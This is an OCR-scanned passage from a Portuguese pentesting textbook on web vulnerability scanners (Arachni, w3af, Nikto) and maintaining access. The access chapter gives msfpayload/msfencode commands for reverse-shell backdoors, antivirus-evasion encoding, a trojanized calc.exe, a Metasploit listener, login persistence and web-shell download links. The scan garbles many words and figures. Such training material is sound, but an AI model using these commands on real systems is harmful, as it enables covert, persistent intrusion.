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@ 05 command injection: Analyoing response #26008... [2] The TRACE HTTP method is enabled. [ Severnty: Medium )
@ 05 command injection: Anakzing response #26008...

In $enver using TRACE at bitp: /M1 52.168.56,10

o s

[3] A common directory exists on the server. [ Severity:
M clium ) -

-
&« Instance = Localhosk:..

Figura 9.23 - Scanning com o Arachni.

Enquanto o scanner estiver executando, o processo estara associado a um processo dispatch. Varios
dispatchers podem ser executados ao mesmo tempo. Se houver mais web services para testar, volte para
a aba Start a Scan (Iniciar um scan) e inicie outro scan. Se o IceWeasel for fechado ou varios scans
estiverem executando juntos, abra o navegador web e acesse o Arachni; em seguida, clique na aba
Dispatchers para interagir com cada processo.

Quando o scan for concluido, o Arachni mudara automaticamente para a aba Reports (Relatérios). A
partir daqui, o pentester podera gerar o relatério em varios formatos diferentes. Como ocorre com os
scanners, o Arachni também mantém os relatdrios separados para cada dispatcher executado (Figura
9.24).
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Figura 9.24 - Relatérios do Arachni.
Os relatérios disponibilizam graficos de barras e de pizza com os resultados dos scans, como mostrado
na figura 9.25.
O Arachni divide o relatério em duas subcategorias. A primeira recebe o nome de Trusted (Confiavel),
enquanto a segunda é chamada de Untrusted (Nao confiavel). As vulnerabilidades classificadas como
confiaveis sdo consideradas como descobertas exatas (ou positivas) porque o scanner nao recebeu

nenhuma resposta anormal do servidor web no momento do scanning. As vulnerabilidades classificadas
como nao confidveis sio consideradas como possiveis falso-positivos e devem ser verificadas pelo

pentester.
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Figura 9.25 - Vulnerabilidades por tipo.



w3af - Framework para auditoria e ataque de aplicacdes web (mais informacdes em
http://w3af.org/)

O w3af é outro scanner de vulnerabilidades bem leve, disponibilizado a comunidade de seguranga
pelos bons desenvolvedores do OWASP. A geragdo de relatdrios é limitada e ndo é tao elegante quanto
no Arachni, porém fornece uma boa base para o relatério de vulnerabilidades. A grande vantagem - ou
desvantagem, conforme a maneira pela qual um pentester estiver envolvido em uma atividade — é que o
w3af possui uma variedade de plugins personalizaveis para vulnerabilidades que exigem atualizagdes da
internet no momento em que o plugin for disparado. Durante um evento de teste de invasao, se o
pentester ndo tiver acesso a internet, o w3af ira gerar varios erros. Se uma conexao com a internet
estiver disponivel, os plugins extrairdo scripts e verificagdes de vulnerabilidades atualizados, o que
garante que o scan sera o mais atualizado possivel.

Usando o w3af

Clique em Applications a Kali Linuxa Web Applications a Web Vulnerability Scanners a w3af (Aplica¢oes a Kali Linux a
Aplicagoes web a Scanners de vulnerabilidades web a w3af), como mostrado na figura 9.26.



w3af = Web Application Attack and Audit Framework -

Profiles Edit Tools Configuration Help
L - 4 % = W g
Scan config
Profiles Target: |Insert the target URL here i
bl ws bt | Plugin Active
OWASP_TOP10 B audit ]
audit_high_risk P auth B
brutefarce b bruteforce [
fast_scan b discovery [
full audt P evasion |
full .audit_manual _dist grep M
sitemap b mangle 0] This is an empty profile that you can use
web_infrastructure to start a new configuration from.

Plugin  Active

P output =

0o Ao =0

Figura 9.26 - Console do w3af.

Quando a GUI do w3af inicia, um perfil vazio é carregado, sem plugins ativos. Um novo perfil pode ser
criado ao selecionar inicialmente os plugins desejados e, em seguida, clicar nas opgoes Profiles > Save as
(Perfis > Salvar como) na barra de menu. Alguns perfis previamente preenchidos ja existem e estdo
disponiveis para uso. Clicar em um perfil, por exemplo, em OWASP_TOP10, selecionara o perfil a ser usado
em um scan. O w3af foi concebido para possibilitar um controle individual dos plugins. Mesmo quando
um perfil previamente configurado é selecionado, ajustes aos plugins podem ser feitos antes de disparar
0 scan. Sem acesso a internet, a execu¢io dos scans pode ser um evento de tentativa e erro. Abaixo da
janela de selecdo de plugins encontra-se outro conjunto de plugins.

Os plugins servem para a geracao de relatdrios. Todos os relatérios sdo gerados na pasta /root/.

Neste guia de instrucdes, o perfil OWASP_TOP10 foi selecionado; no entanto os plugins de descoberta
(discovery) foram desabilitados por enquanto. Os relatérios HTML foram ativados (Figura 9.27).



w3af - Web Application Attack and Audit Framework EEE
Profiles Edit Vicw Tools Configuration Help
i |0 &P TR S RO
Scan config | liog | Recults Exploitd
Profiles Target: |http://192.168.56.102/ = Start‘ 5 |
ty_profil : : ' :
empty_profile Plugin Active htmlFile
OWASP_TOP10O b aichE ¥
audit_high_risk b auth ]
bruteforce P bruteforce U
full _audit b avasion 0
. - Two configurable parameters exist:
full _audit _manual _dis« 7 g P
_ b grep 7! - fileMame
sitemap b mangle 0 S eIBOsA
web.infrastructure >
Plugin Active If you want to write every HT TP request/respon:
: | textFile plugin.
A csv_file O ;
A emailReport U
gtkOutput ¥ verbose [J
E: htmlFile v T ———— | o :
SAVE Con :l..:'_..r..-t|;r Reverit to pravious values
iisiing - e — D
0 3 0o Ao =o

Figura 9.27 - Sele¢do de mddulos no w3af.
Insira um site que sera o alvo. Nesse caso, a maquina virtual Metasploitable2 foi selecionada. Clique no
botéao Start (Iniciar).
O resultado do scan anterior sera limitado em virtude da falta de plugins ativados (Figura 9.28). Para

visualizar os resultados no formato HTML selecionado, abra o IceWeasel e acesse
file:///root/results.html.
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<  clickJacking | ’
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" Possible ClickJacking attack

o Il
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Figura 9.28 - A aba Results (Resultados) do w3af.

Nikto (mais informagdes em http://www.cirt.net/nikto2)

O Nikto é um scanner simples e direto, que procura vulnerabilidades no servidor web e em aplicacdes
web. Os hosts devem ser verificados um de cada vez; porém, com o comando de saida, é facil monitorar
os resumos dos scans. Os relatdrios podem ser gerados em HTML, XML, CVS, NBE e em MSF para
serem exportados para o Metasploit. Muitas das vulnerabilidades encontradas com o Nikto fazem
referéncia direta ao OSVDB (Open Sourced Vulnerability Database), que estd localizado em
http://osvdb.org/.

Usando o Nikto

A figura 9.29 mostra o Nikto em ag¢do contra a maquina virtual Metasploitable2. A variavel -cgidirs foi
usada para testar todas as variagoes comuns de cgidirs no servidor web. A porta foi configurada para 80
(HTTP); isso deve ser alterado para cada web service que estiver executando em portas diferentes no



mesmo servidor web. A varidvel para saida (output) é usada para salvar o relatério resumido. Essa
variavel tentara determinar o formato de acordo com o nome do arquivo passado na linha de comando.
Se quiser alterar o formato do relatério, modifique a extensdo do arquivo ou use a variavel format. Para
exportar os arquivos que serdo usados pelo Metasploit, utilize: -format MSF.

iy

80 -Cgidirs all -output nikto-test

Nikto vZ2.
Target IP:
Target Hostname:
Target Port:
start lime:

DAV/2
PHP/5.2.4-2ubuntus
] ) outdated (current is at least Apache/2.2.17). Apactk
l.J. 2 Z"?“. ‘elease) and E.- 64 are also current.
DEBUG HITP verb may ow server debugging information. See y://msdn.mic roso
5 rﬂﬂ’ﬁnaugflibrarf. xdh#% %29 .aspx for details.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to X
-T

ot

Figura 9.29 - Scanning com o Nikto.

O relatdrio foi salvo como nikto-test.html, que fara o relatério ser automaticamente formatado como
HTML. Para abrir o relatério a partir da linha de comando, digite: iceweasel nikto-test.html (Figura
9.30).



192.168.56.102 /
192.168.56.102 port 80

Target IP 192.168.56.102
Target hostname 192.168.56.102
Target Port 80
HTTP Server Apachef2.2.8 (Ubuntu) DaVZ
Start Time 2013-0B-19 15:54:51
Site Link (Mame) htto:/f192.168.56, 102:80/
Site Link (IP) http:/f192.168.56.102:80/
URI f
HTTP Method GET
Description Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
Test Links bttp:/f192.168.56,102:80/
tpf192.168. 06, 102:80/
OSVDB Entries oSvVDE-0
URI f
HTTP Method HEAD
Description Apachef2.2.8 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42
(final release) and 2.0.64 are also current.
Test Links htipf192 168 56, 100280/
http://192.168.56.102:80/
OSVDOB Entrics oEWDB 0

Figura 9.30 - Relatério do Nikto.

Websploit (mais informagdes em http://sourceforge.net/projects/websploit/)

O Websploit é uma aplicagio modular baseada em Ruby, que se assemelha ao Metasploit quanto a
aparéncia, porém foi projetado especificamente para realizar ataques diretos contra servidores web e
para usar a engenharia social. O Websploit também esta integrado ao Metasploit no que se refere aos
payloads, aos exploits e ao uso do Meterpreter handler. A aplica¢ao pode fazer o scan e varrer os sites e,
em seguida, atacar o servidor web por meio de um moédulo automatico para exploracao de falhas ou
pode provocar um DoS por demanda.

Conclusao

Existem mais de 400 ferramentas contidas no Kali Linux. Varios livros foram dedicados somente aos
recursos do Metasploit. As ferramentas mencionadas neste capitulo exigirdo tempo, paciéncia e um
treinamento intensivo para serem dominadas. Utilize o Metasploitable2 e o Mutillidae para aprimorar o
seu conjunto de habilidades.

1 N.T.: No original: “weakness in an information system, system security procedures, internal controls, or implementation that could be
exploited by a threat source”.
2 N.T.: Hackers que atuam na drea de telefonia.



cApPiTuL0 10
Preservacao do acesso

Informagoes contidas neste capitulo:
o Preservacao do acesso: terminologia e conceitos principais
o Backdoors

« Keyloggers

Visao geral do capitulo e principais pontos de aprendizagem

Este capitulo explica as a¢oes executadas na fase de pds-exploracio de falhas em relagio a preservagio
do acesso em um sistema comprometido. Os principais pontos de aprendizagem incluem:

o Malwares

 Backdoors

o Cavalos de Troia (Trojan horses)

o Virus

 Worms

« Keyloggers

» Botnets

o Colocation e servicos de comunicacio remota

« Sistemas de comando e controle

Introducao

Explorar as falhas de um computador, um dispositivo de rede ou um web service é muito bom;
entretanto o objetivo da maior parte dos testes de invasdo consiste em preservar o acesso ao sistema
comprometido. Existem diversas metodologias para preservar o acesso aos sistemas explorados das
vitimas; porém a conclusio de toda metodologia em geral ndo é roubar informag¢des, mas reduzir os
esforcos exaustivos e consumidores de tempo, necessarios para continuar atacando o mesmo
equipamento continuamente depois que esse foi comprometido. Se um pentester estiver trabalhando
em equipe, com servidores instalados remotamente, ou se tiver necessidade de um ponto de acesso
secundario para acessar posteriormente o sistema de computadores, entdo os esforcos e as expectativas
poderao ser mais facilmente administrados e os ataques futuros poderdo ser mais precisos.

Preservar o acesso é uma forma de arte secundaria que envolve o mesmo nivel de planejamento, se nao
mais, do que explorar as falhas de um sistema. Este capitulo aborda os conceitos basicos que tanto os
pentesters quanto os hackers usam para preservar o acesso e manter a sessio comprometida. Alguns dos



conceitos apresentados sdo bastante sofisticados. Porém o leitor nao deve ficar desanimado se a leitura
inicial deste capitulo nao fizer sentido. O capitulo termina com uma se¢io criada com o intuito de
manter a atenc¢do do leitor focada e reforgar as metodologias avancadas apresentadas.

Terminologia e conceitos principais

Um pentester ou um profissional da area de TI podem ser bem versados na terminologia associada a
preservacdo do acesso; no entanto os termos a seguir ndo sido apenas definigdes, mas uma breve
introducio a rela¢do entre preservacao do acesso e as praticas de pds-exploracao de falhas.

Malware

Malware — um tipo de software malicioso — é um nome genérico que engloba virus, worms, cavalos de
Troia (Trojans), keyloggers e bots. Em relagao aos testes de invasao, usar o termo malware é adequado
para relatdrios de nivel executivo, porém, quando estiver envolvido com um relatorio técnico, classificar
adequadamente o tipo de malware usado para explorar a vulnerabilidade geralmente ¢ melhor e
proporciona mais exatidao.

Backdoors

Nao deve ser confundido com os cavalos de Troia; um backdoor (porta dos fundos) é um programa
deixado em execucdo no sistema comprometido com o intuito de facilitar a entrada posterior no sistema
sem a necessidade de explorar a vulnerabilidade repetidamente. Embora a maioria dos cavalos de Troia
contenha um backdoor, esse nido precisa necessariamente fazer parte de um cavalo de Troia. Os
backdoors sdo aplicacdes ou scripts que executam como um cavalo de Troia, porém ndo oferecem
nenhuma funcionalidade ao usuario do sistema comprometido. Um backdoor pode ser implementado
para executar como um programa totalmente separado no host, pode ser associado a um sistema de
criptografia, embutido como um rootkit ou entrelacado na forma de uma por¢io de cddigo de
programacdo em um algoritmo de autenticagao.

Cavalo de Troia (Trojan horse)

Um cavalo de Troia, também chamado simplesmente de “Trojan”, é um programa malicioso instalado
em um host para executar uma fung¢io desejada ou explicita, mas que esconde e executa programas
ocultos ou encobertos em seu codigo com a finalidade de criar backdoors, executar scripts, roubar
informagoes e, em alguns casos, explorar socialmente pessoas desavisadas de modo a fazer com que elas
divulguem informagdes pessoais, por exemplo, nimeros de cartdes de crédito. A verdadeira diferenca
entre backdoors e cavalos de Troia sofreu distor¢oes desde que o primeiro cavalo de Troia — que ficou
conhecido como Pervading Animal - foi possivelmente incluido em um jogo para o sistema de
computador UNIVAC 1108 em 1975. O termo cavalo de Troia normalmente é sindnimo de backdoor
em virtude da natureza inerente aos cavalos de Troia atualmente. Além do mais, os cavalos de Troia
com frequéncia sio confundidos com os virus. O que faz com que os cavalos de Troia ndo sejam
classificados como virus é o fato de os primeiros normalmente serem um programa isolado e néao se
injetarem em outros programas.



Virus

Os cddigos maliciosos que infectam um processo ou um arquivo existente sdo classificados como virus.
A infeccdo causada por um virus pode estender-se a arquivos, espacos de memoria (RAM ou memoria
paginada), setores de boot e hardware. Existem duas subclasses de virus: residentes e ndo residentes.

Residentes

Os virus residentes movem-se para o espago de RAM apo6s o boot do computador e depois saem
quando ele é desligado. Esses tipos de virus tornam-se parasitas de outros programas legitimos ao se
associar a chamadas de funcoes feitas entre o programa e o kernel (ntcleo) do sistema operacional. Essa
¢ a metodologia preferida para os testes de invasio em virtude da mais alta probabilidade de uma
evasao continua.

Ndo residentes

Quando os virus nao residentes sdo executados, o programa pesquisa o disco rigido do computador a
procura de um host adequado e infecta o arquivo; em seguida, ele sai da memdria apds a execucio.

Worms

De modo muito semelhante aos virus, os worms podem apresentar a mesma forca destrutiva. O que
diferencia os worms dos virus é o fato de que os primeiros nao precisam de interacdes humanas para
serem replicados. Os worms tém uma vulnerabilidade como alvo e, em seguida, executam comandos
para se mover do host corrente para outro sistema e continuam a infectar outros sistemas vulneraveis
automaticamente. Por causa de sua natureza e do incrivel risco de os worms sairem do controle do
pentester, eles ndo sio comumente usados em testes de invasao. Todo o trabalho técnico e analitico
com os worms deve ser conduzido em um ambiente de laboratério que ndo tenha absolutamente
nenhum acesso a redes adjacentes, especialmente a internet.

Keyloggers

Como o nome sugere, os keyloggers capturam teclas de um usuario e enviam essas informacgoes de volta
ao pentester. Muita documentagao e varios livros ja foram publicados sobre as vastas metodologias
usadas para criar, empregar e detectar os keyloggers. O keylogger é uma ferramenta essencial para um
pentester e é usado rotineiramente em suas missdes. No entanto o uso dos keyloggers pode violar o
ROE de determinadas empresas que desejarem proteger a privacidade de seus funcionarios, pois os
keyloggers irdo capturar certas informagdes sobre os mecanismos de autenticagdo pessoal, como emails
particulares e informagdes bancarias. Nao se esqueca de verificar junto ao cliente se o uso de keyloggers
esta autorizado na conducio de um teste de invasdo. Se for aprovado, o uso de um keylogger deve ser
totalmente documentado no ROE. Qualquer informagdo capturada por um keylogger deve ser mantida
sob rigorosa supervisdao e devera ser destruida apos a conclusdo do teste de invasao.

Existe uma grande variedade de keyloggers que serdo discutidos posteriormente neste capitulo.

Botnets



Os bots, forma abreviada para robots (robds), as vezes chamados de zumbis, correspondem a redes de
computadores controlados por um tnico invasor normalmente chamado de bot master. Os sistemas
infectados com virus, cavalos de Troia e backdoors podem fazer parte de uma botnet. O bot master
(invasor) controla um servidor mestre que, por sua vez, controla outros sistemas de comando e controle
em locais diferentes, os quais passam os comandos aos bots individuais. Usos comuns para as botnets
incluem DoS, DDoS, servicos de spam, distribuicio de processamento no uso de forca bruta em
controles e senhas para autenticacido e outros servicos maliciosos para roubo de informacoes ou para o
uso de técnicas de engenharia social nas vitimas. Uma botnet pode ser bem pequena, constituida de
alguns equipamentos infectados, ou pode ser grande, incluindo milhares de equipamentos, varios
servidores e até mesmo varios bot masters.

Colocation

Colocation é um termo elegante para a hospedagem de servicos efetuada externamente. Embora um
invasor possa pagar para hospedar servicos junto a empresas que oferecam total anonimato, com um
custo que varia de alguns ddlares por més a milhares de doélares ao ano, o colocation nao precisa ser
feito por terceiros; o servico pode ser disponibilizado por um sistema comprometido ou por meio da
inclusido de varias redes infectadas, capazes de utilizar os recursos do sistema. Um exemplo de botnets
que ndo exigem o uso de um servico de hosting de terceiros ¢ uma botnet para spans. Um servidor de
colocation pode até mesmo ser instalado pela empresa que esta fornecendo um teste de invasao a seus
clientes.

Comunicagdes remotas

A comunica¢ido remota conforme aplicada neste livro inclui comunica¢cdes como VPN, protocolos de
tunelamento ponto a ponto, desktop remoto e qualquer outra forma de comunica¢io entre um host e
um servidor que ndo estejam na mesma rede local. O estabelecimento de comunicagdes remotas é
necessario aos pentesters para manter as sessoes para a exploracido de falhas, os backdoors, os sistemas
de comando e controle ou os tineis abertos até os hosts comprometidos dos clientes. Pode-se tirar
proveito do uso de canais encobertos e da criptografia para desviar-se de servicos como os sistemas de
deteccdo de invasio, que poderiam alertar os administradores dos sistemas sobre a presenca de um
invasor. As comunicagoes criptografadas estdo fora do escopo deste livro.

Comando e controle

Os sistemas de comando e controle (C2) sdo utilizados para administrar sessdes remotas de hosts
comprometidos. A partir da interface de um programa de comando e controle, um pentester pode
enviar comandos diretamente do programa ou pode acessar um shell remoto. Durante um teste de
invasao, um pentester pode implantar um RAT (Remote Access Terminal) em um host comprometido,
que ira se conectar de volta a um servidor de comando e controle.
Os autores e editores deste livio ndo podem enfatizar o suficiente os perigos de lidar com os kits
para criagdo de virus. Embora haja uma grande variedade de sistemas para a criagio imediata de
virus, esse é um assunto extremamente avangado, sobre o qual se pode perder o controle muito
rapidamente. Nao entender todas as funcdes e as partes desses tipos de sistema pode fazer com que



os virus escapem por ai e vaguem livremente pela internet. As consequéncias legais sio amplamente
cobertas por leis locais, estaduais, federais e internacionais. Por exemplo, o virus “ILoveYou” no ano
2000 deveria ter acessado o email de apenas uma pessoa e em seguida deveria ter parado. O dano
causado foi estimado na casa dos bilhoes [1].

A pesquisa realizada para este livro revelou que quase todos os geradores de virus, cavalos de
Troia e backdoors disponiveis gratuitamente e que sio amplamente usados estao infectados com
outros virus que nao fazem parte da aplicagdo ou do pacote que se pretende criar. Existe uma boa
chance de que o uso desses tipos de gerador de cddigo infecte ou destrua o seu computador, a sua
rede ou as redes adjacentes. Os autores, os editores e as empresas afiliadas associadas a este livro
nao deverdo ser responsabilizados pelo uso desses geradores.

Backdoors

Um backdoor é uma ferramenta necessaria; sendo assim, um pentester deve ser capaz de gerar, carregar
e executar aplicagdes backdoor. Os backdoors nao ficam escondidos em programas funcionais como um
cavalo de Troia, mas, como mencionamos anteriormente, muitos cavalos de Troia contém um
backdoor. As se¢des a seguir descrevem a maneira de criar um backdoor, assim como um cavalo de
Troia, para consolidar melhor as diferencas e as semelhancas entre ambos. E altamente aconselhavel
que o leitor acompanhe usando uma janela do terminal aberta no sistema operacional Kali Linux. Para
realizar este exercicio com sucesso, um diretdrio chamado backdoors deve ser criado:

mkdir backdoors

Backdoors com o Metasploit

A GUI do Metasploit é eficiente; no entanto toda a funcionalidade do Metasploit na linha de comando
¢ muito mais impressionante. O comando msfpayload gera bindrios a partir da linha de comando que
podem ser usados em varias plataformas Microsoft e Linux, bem como em aplicagdes web. Além do
mais, pode-se fazer o pipe do msfpayload para as ferramentas msfencode para codificar os binarios criados
e tentar evitar a deteccdo pelos antivirus.

Criando um bindrio executdvel a partir de um payload (ndo codificado)

As ferramentas msfpayload trabalham de maos dadas com qualquer payload listado no Metasploit. Para
uma listagem atual dos payloads disponiveis, use msfpayload -1 na linha de comando. Nos passos a
seguir, o payload windows/meterpreter/reverse_https sera usado. A figura 10.1 apresenta a saida do
comando msfpayload {nome_do_payload} S. Esse comando mostra ao pentester os campos que devem ser
configurados ao converter um payload em um arquivo binario executavel.



root@cyber=-recon: ~

File Edit Wiew Search Terminal Help

root@cyber-recon:~¥ msfpayload windows/meterpreter/reverse tcp S

Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Neads Admin: No
Total size: 290
Rank : Normal

skape <mmiller@hick.org>
st <stephen_fewer@harmonysecurity.
hdm <hdm@metasploit.com=

WEN= Setting Required
EXITFUNC

Exit technigque: seh, thread, process, none
LHOST

The listen address
The listen port

e e
D D
o oW om

-
[i ]

Description:
Connect back to the attacker, Inject the meterpreter server DLL via
the

root@cyber-recon:~# [
Figura 10.1 - Saida do msfpayload.
As ferramentas msfpayload sao capazes de fazer o pipe do payload nos formatos a seguir:
«[C]C
o [H] C-sharp
o [P] Perl
o [Y] Ruby
e [R] Raw
o [J] Javascript
o [X] Executable
o [D] Dynamic Link Library (DLL)
. [V] VBA
o [W] War
o [N] Python

]
]

Com todas as informacdes necessarias, o pentester pode criar um binario executavel usando o comando



a seguir. Observe que este é um comando unico e deve ser digitado em uma s6 linha.

msfpayload windows/meterpreter/reverse_tcp LHOST={SEU IP}
LPORT={PORTA} X > /root/backdoors/unencoded-payload.exe

A figura 10.2 mostra o resultado da criagao do backdoor unencoded-payload.exe.

root@cyber-recon: ~ k

File Eait View Search Terminal Help
root@cyber-recon:~# ifconfig eth® |grep "inet "
inet addr:192.168.1.132 Bcast:192.168.1.255 Mask:255.255.255.0
root@cyber-recon:~# mkdir /root/backdoors
root@cyber-recon:~# msfpayload windows/meterpreter/reverse_tcp LHOS5T=192.168.1.1
32 LPORT=8000 X = /root/backdoors/unencoded-payload.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=="192.168.1.132", "LPORT"=="SQ00G"}
root@cyber-reconi!~# 1s -al /root/backdoors/
total 84
drwxr-xr-x 2 root root 4096 Sep 22 16:21 .
drwxr-xr-x 19 root root 4096 Sep 22 16:20 ..
=rw=r=--r=-= 1 root root 73802 Sep 22 16:2]1 unencoded-payload.exe
root@cyber-recon:~# |

Figura 10.2 - Criando um bindrio executdvel a partir de um payload.

Criando um bindrio executdvel a partir de um payload (codificado)
A ferramenta msfencode:

msfpayload windows/meterpreter/reverse_tcp LHOST={SEU IP} LPORT={PORTA}
R | msfencode -e x86/countdown -c 2 -t raw | msfencode -x -t exe -e
x86/shikata _ga nai -c 3 -k -0 /root/backdoors/encoded-payload.exe

A figura 10.3 mostra o resultado da cria¢do do backdoor encoded-payload.exe.




root@cyber-recon: ~

File Eait View Search Terminal Help

root@cyber-recon:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1
32 LPORT=8000 R | msfencode -e x86/countdown -¢ 2 -t raw | msfencode -x template
_%86 windows.exe -e x86/shikata_ga nai -c¢ 3 -t exe -k -o /root/backdoors/encoded
-payload.exe

[*] x86/countdown succeeded with size 308 (iteration=1)

x86/countdown succeeded with size 326 (iteration=2)
x86/shikata_ga_nal succeeded with size 353 (iteration=l)

x86/shikata_ga_nal succeeded with size 380 (iteration=2)

x86/shikata_ga nai Sﬁceeded with size 407 (iteration=3)

root@cyber-recon:~# 1s -al /root/backdoors/

total 160

drwxr-xr-x 2 root root 4096 Sep 22 16:25 .

drwxr-xr-x 1% root root 4086 Sep 22 16:20 ..

-rw-r--r-- 1 root root 75776 Sep 22 16:25 encoded-payload.exe
-rw-r--r-- 1 root ric:t 73802 Sep 22 16:21 unencoded-payload.exe
root@cyber-recon:~#

Figura 10.3 - Criando um bindrio executdvel a partir de um payload codificado.

Criando um cavalo de Troia codificado

Os backdoors das segdes anteriores executavam somente em background e ndo interagiam com o
usuario logado no sistema no momento. Um cavalo de Troia tem a aparéncia de um programa
funcional que o usuario pode utilizar. Este guia de instrugoes foi criado a partir da aplicacdo calc.exe
(calculadora) de uma plataforma Microsoft Windows XP com Service Pack 3. Para que este exercicio
funcione corretamente, a aplica¢do calc.exe deve ser copiada para um pen drive externo.

Nem todos os binarios da plataforma Windows podem se transformar em um cavalo de Troia. Por
exemplo, se a aplicagdo calc.exe de uma plataforma Windows 7 Ultimate fosse usada, esse ataque nao
seria executado. Outras aspectos a considerar referem-se a quantidade de codificacio usada, aos
firewalls ativos, aos sistemas de deteccio de invasao e aos sistemas de criptografia. Nem todos os
executaveis funcionarao; a transformacio de um executiavel em um cavalo de Troia é um processo de
pesquisa na base de tentativa e erro, mais adequado a um ambiente de laboratério.

msfpayload windows/meterpreter/reverse_tcp {SEU IP} {PORTA} R |

msfencode -e x86/countdown -c 2 -t raw | msfencode -x /media/
{DRIVE USB EXTERNO}/calc.exe -t exe -e x86/shikata ga nai -c 3 -k -0




/root/backdoors/trojan-calc.exe

A figura 10.4 mostra o resultado da criagdo do cavalo de Troia trojan-cmd-payload.exe a partir do binario
calc.exe do Windows.

root@cyber-recon: ~

File Eait View 5Search Terminal Help
root@cyber-recon:~# msfpayload windows/meterpreter/reverse_tcp LHOS5T=192.168.1.1

32 LPORT=8000 H | msfencode -e x86/countdown -¢ 2 -t raw | msfencode -x /media/K
INGSTON/calc.exe -t exe -e xBb/shikata_ga_nai -¢ 3 -K -0 /root/backdoors/trojan-
/countdown succeeded with size 308 (iteration=1)
326 (iteration=2)
;ize 353 (iteration=1)
with size (iteration=2)

with size 407 (iteration=3)

oot ':."l'!-:'l = EC0Oon ;4 1"5 - root/ bl:'" I"dl"l-:J =T
encoded-payl r:n::r.i.exe trojan-calc.exe
root@cyber-recon:~# cp /root/bac |-dDuF

tber-recon :~# I

nen od d-payload.exe
‘media/KINGSTON/

Figura 10.4 - Criando um cavalo de Troia executdvel para o Microsoft Windows.

O cavalo de Troia criado a partir do binario calc.exe do Windows pode ser carregado em uma vitima de
diversas maneiras, conforme descrito neste livro.

Configuragdo de um listener do Metasploit

Os backdoors e o cavalo de Troia criados correspondem a ataques feitos do lado cliente e que fazem a
conexdo de volta a origem para obter instru¢des adicionais. O pentester deve configurar um listener no
Metasploit para poder responder a chamada. O multi-handler do Metasploit é um excelente servi¢o de
resposta para um cavalo de Troia ou para um backdoor que estiver se conectando de volta para receber
instru¢oes adicionais.

1. msfconsole

2. use exploit/multi/handler

3. set PAYLOAD windows/meterpreter/reverse tcp
4. set LHOST {SEU_IP}
5

. set LPORT {PORTA}



6. run

A figura 10.5 mostra a configuragdo de um listener no Metasploit e uma chamada de um backdoor. A
conexao foi feita a partir do sistema operacional da vitima por meio da execugdo da aplicagao unencoded-

payload.exe.

root@cyber-recon: ~

File Eait View Search Terminal Help

# WAVE 4 ##ass SCORE 31337 #nisdsisingiaiiisiniainiisagd HIGH FFFFFFFF #
B A R R R R R R R R R R R R R R R R R R R R R R R R R R PR R R R R i
http://metasploit.pro

Large pentest? List, sort, group, tag and search your hosts and services
in Mf-:.‘ta._a[_}.l_UJ_t F’ru -- type 'go_pro' to launch it now.

plc vd ., /F.0-201309180]1 [core:4./ api:l.0
_.p1n1t5 - 726 auxiliary - 200 post
ayloads - 30 encoders - 8 nops

> use exploit/multi/handler
exploit(handler) = set PAYLOAD windows/meterpreter/reverse_tcp

windows/meterpreter/reverse_tcp
exploit(handler) > set LHOST 192.168.1.132
ST =» 192.168.1.132
exploit (handler) > set LPORT 9000
RT => 9000
exploit(handler) = run

andler on 192.168.1.132:9000

'Lload handler.

52128 bytes) to 192.168.1.131
-:.J,-::r'u 1 opened (192.168.1.132:9000 -> 192.168.1.131:11234) at
-R400

Figura 10.5 - O multi-handler do Metasploit ouvindo.

Backdoors persistentes

De modo muito semelhante a um estudante universitirio que telefona para casa para ter noticias de
seus familiares e pedir dinheiro, o backdoor ou o cavalo de Troia também devem seguir a mesma rotina
béasica. Diferente de um estudante universitario, isso é mais facil ao usar a tarefa scheduleme em um
meterpreter shell. A ferramenta scheduleme pode iniciar comandos de acordo com intervalos de tempo
(por exemplo, toda semana ou a cada 20 minutos) ou de acordo com as ag¢des de determinados
computadores ou usuarios, por exemplo, na inicializacdo ou quando o usuario fizer login no
computador.

scheduleme -c {"arquivo/comando"} -i -1



A figura 10.6 mostra um agendamento programado que fara a aplicagdo unencoded-payload.exe ser
iniciada sempre que um usuario fizer login no sistema. Uma unica tentativa de executar o comando
sera feita, porém ele sera executado imediatamente apds o processo de login. Isso ajuda a garantir que a
aplicacdo fara a conexdo de volta com a origem regularmente.

root@cybe r-reckn: ~

File Eait View 5Search Terminal Help

meterpreter

meterpreter
meterpreter
meterpreter
meterpreter
meterpreter
meterpreter
meterpretar
meterpreter
meterpreter
meterpreter
m rpr r
meterpreter
meterpretfer
meterpreter
meterpreter
meterpreter
meterpreter
meterpreter >

meterpreter = run scheduleme -c "G:\unencoded-payload.exe" -i -1

[-] Error Checking UAC: Rex::Post::Meterpreter::RequestError stdapi registry que
ry_value: Operation failed: The system cannot find the file specified.

[*] Scheduling command G:unencoded-payload.exe to run login

[*] The scheduled task has been successfully created

[*] For cleanup run schtasks /delete /tn syscheck6l /F

meterpreter = |

VY VY VYYYVYVYVYVY VYV YY

Figura 10.6 - Scheduleme.

Capacidade de detecgio

Se o pentester souber quais antivirus estdo executando em um sistema-alvo em potencial, ou se quiser

testar a robustez de um processo de codificagdo, os arquivos (ou seja, os backdoors e os cavalos de

Troia) poderdo ser carregados em http://www.virustotal.com/. A figura 10.7 mostra a capacidade de
detec¢do de fornecedores comuns de antivirus em relagido ao arquivo trojan-calc.exe.
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Figura 10.7 - VirusTotal.com.

Backdoors para web services

Web services vulneraveis que permitem a um pentester carregar conteudos estdo sujeitos a possiveis
backdoors. Esses backdoors sao colocados no site na forma de paginas adicionais e estdo disponiveis a
qualquer pessoa que consiga encontrar a pagina web. A seguir estd uma breve lista de backdoors que
podem ser carregados em servidores web e podem ser usados para a execu¢do de comandos locais na
vitima ou para interagir com um banco de dados que estiver se comunicando com o servidor.

1. C99 Shell - PHP backdoor shell

Download: http://www.r57shell.net/

2. C100 Shell - PHP backdoor shell

Download: http://www.r57shell.net/

3. Jackall - PHP backdoor shell

Download: http://oco.cc

4. XXS-Shell - ASP.net backdoor e controlador zumbi

Download: http://www.portcullis-security.com/tools/free/XSSShell@39.zip

5. Weevley - PHP backdoor shell que disponibiliza um console do tipo telnet

Download: http://epinna.github.com/Weevley/downloads/weevley-1.0.tar.zip

Keyloggers



Keylogging é o processo de capturar teclas dos usuarios ou dos administradores logados em um sistema.
